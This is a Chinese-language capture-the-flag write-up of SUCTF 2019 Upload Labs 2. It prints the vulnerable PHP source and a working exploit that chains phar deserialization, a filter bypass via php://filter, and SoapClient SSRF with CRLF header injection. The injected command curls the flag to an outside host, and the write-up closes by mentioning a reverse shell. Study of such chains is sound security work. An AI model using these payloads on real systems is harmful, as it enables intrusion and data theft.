SOAP+CLRF+PHAR+反弹shell
做自己喜欢的事情,别计较得失 这些题也太喜欢phar与反弹shell了啊这 Add:一些文章中所提到的学习链接放到了参考链接处
首先是文件上传的部分,输入参数开头过滤了一堆协议吧,上次极客大挑战就是用compress.bzip加上phar绕过了,这次通过网上wp发现还可以配合php://filter/resource绕过前缀限制,从而触发phar反序列化
首先是文件上传部分,首先就是一个文件上传只能是gif,jpg等,这里就不贴出相关代码了
include 'class.php'; if (isset($_POST["submit"]) && isset($_POST["url"])) { if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){ die("Go away!"); }else{ $file_path = $_POST['url']; $file = new File($file_path); $file->getMIME(); echo "<p>Your file type is '$file' </p>"; } }下面再贴出关键页面的源码 class.php
<?php include 'config.php'; class File{ public $file_name; public $type; public $func = "Check"; function __construct($file_name){ $this->file_name = $file_name; } function __wakeup(){ $class = new ReflectionClass($this->func); $a = $class->newInstanceArgs($this->file_name); $a->check(); } function getMIME(){ $finfo = finfo_open(FILEINFO_MIME_TYPE); $this->type = finfo_file($finfo, $this->file_name); finfo_close($finfo); } function __toString(){ return $this->type; } } class Check{ public $file_name; function __construct($file_name){ $this->file_name = $file_name; } function check(){ $data = file_get_contents($this->file_name); if (mb_strpos($data, "<?") !== FALSE) { die("<? in contents!"); } } }admin.php
<?php include 'config.php'; class Ad{ public $ip; public $port; public $clazz; public $func1; public $func2; public $func3; public $instance; public $arg1; public $arg2; public $arg3; function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){ $this->ip = $ip; $this->port = $port; $this->clazz = $clazz; $this->func1 = $func1; $this->func2 = $func2; $this->func3 = $func3; $this->arg1 = $arg1; $this->arg2 = $arg2; $this->arg3 = $arg3; } function check(){ $reflect = new ReflectionClass($this->clazz); $this->instance = $reflect->newInstanceArgs(); $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1); $reflectionMethod->invoke($this->instance, $this->arg1); $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2); $reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]); $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3); $reflectionMethod->invoke($this->instance, $this->arg3); } function __wakeup(){ system("/readflag | nc $this->ip $this->port"); } } if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){ if(isset($_POST['admin'])){ $ip = $_POST['ip']; $port = $_POST['port']; $clazz = $_POST['clazz']; $func1 = $_POST['func1']; $func2 = $_POST['func2']; $func3 = $_POST['func3']; $arg1 = $_POST['arg1']; $arg2 = $_POST['arg2']; $arg2 = $_POST['arg3']; $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3); $admin->check(); } } else { echo "You r not admin!"; }首先是题目中我们获取flag的位置在admin.php中的__destruct但是要实例化admin.php中的Ad类,必须是127.0.0.1请求,所以我们必须找到ssrf的利用点,在class.php中的__wakeup(),可以实例化任意类,所以我们要找到发序列化的点 再看在func.php中我们知道,当我们查看我们的上传文件时,会调用getMIME,而finfo_open也会触发phar反序列化 在这里我们的攻击流程也大致清楚了,我们首先上传phar文件,然后反序列化,这样就能调用class.php中的__wakeup,这个时候我们再实例化Soapclient类,这样就能通过ssrf访问admin.php,而且就能调用admin.php中的__destruct中的系统命令了
注意:
function check(){ $reflect = new ReflectionClass($this->clazz); $this->instance = $reflect->newInstanceArgs(); $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1); $reflectionMethod->invoke($this->instance, $this->arg1); $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2); $reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]); $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3); $reflectionMethod->invoke($this->instance, $this->arg3); }check必须要通过,如果报错了也不能后面去执行cmd 这里用SplStack函数构造。ReflectionMethod创建SplStack类即可
接下来贴出利用脚本
<?php class File{ public $file_name; public $func="SoapClient"; public function __construct(){ $payload='admin=1&cmd=curl "http://172.16.137.167:888/?a=`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=123456'; $this->file_name=[null,array('location'=>'http://127.0.0.1/admin.php','user_agent'=>"xxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($payload)."\r\n\r\n".$payload,'uri'=>'abc')]; } } $a=new File(); @unlink("phar.phar"); $phar=new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub('GIF89a'.'<script language="php">__HALT_COMPILER();</script>'); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>php://filter/resource=phar://upload/77e6b759f35bf41481b6fa20dafa7c56/f3ccdd27d2000e3f9255a7e3e2c48800.jpg然后反弹shell
[SUCTF 2019]Upload Labs 2 phar+Soapclient结合 [SUCTF 2019]Upload Labs 2(phar反序列化) SoapClient::SoapClient ReflectionMethod::invoke Web业务安全测试—CRLF注入攻击